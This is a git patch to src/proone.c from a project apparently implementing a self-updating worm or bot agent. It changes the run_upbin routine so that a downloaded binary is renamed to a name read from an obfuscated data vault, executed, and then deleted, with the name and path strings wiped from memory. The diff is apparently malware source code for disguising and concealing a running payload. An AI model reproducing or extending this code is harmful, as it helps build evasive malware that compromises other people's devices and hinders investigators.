From d875ed3b36f2a3fb5d6ceb3c37f6749603e4d0d3 Mon Sep 17 00:00:00 2001 From: David Timber Date: Thu, 22 Jul 2021 23:29:07 +1000 Subject: Fix proone ... * Fix missing feature: renaming downloaded exec to the value of PRNE_DATA_KEY_EXEC_NAME --- src/proone.c | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) (limited to 'src/proone.c') diff --git a/src/proone.c b/src/proone.c index 4429204..23be2d8 100644 --- a/src/proone.c +++ b/src/proone.c @@ -1167,15 +1167,23 @@ static void run_upbin (void) { char **args = NULL; char *add_args[1] = { NULL }; char *m_args = NULL; + const char *path = prne_s_g->upbin_path; // copy data from shared global as it will be unmapped before exec() call. - add_args[0] = prne_dup_str(prne_s_g->upbin_path); + add_args[0] = prne_dup_str( + prne_dvault_get_cstr(PRNE_DATA_KEY_EXEC_NAME, NULL)); + prne_dvault_reset(); m_args = prne_malloc(1, sizeof(prne_s_g->upbin_args)); if (add_args[0] == NULL || m_args == NULL) { goto END; } memcpy(m_args, prne_s_g->upbin_args, sizeof(prne_s_g->upbin_args)); + if (rename(prne_s_g->upbin_path, add_args[0]) != 0) { + goto END; + } + path = add_args[0]; + args = prne_htbt_parse_args( m_args, sizeof(prne_s_g->upbin_args), @@ -1190,6 +1198,10 @@ static void run_upbin (void) { do_exec(args[0], args); END: + unlink(path); + prne_s_g->upbin_path[0] = 0; + + prne_strzero(add_args[0]); prne_free(add_args[0]); prne_free(m_args); prne_free(args); -- cgit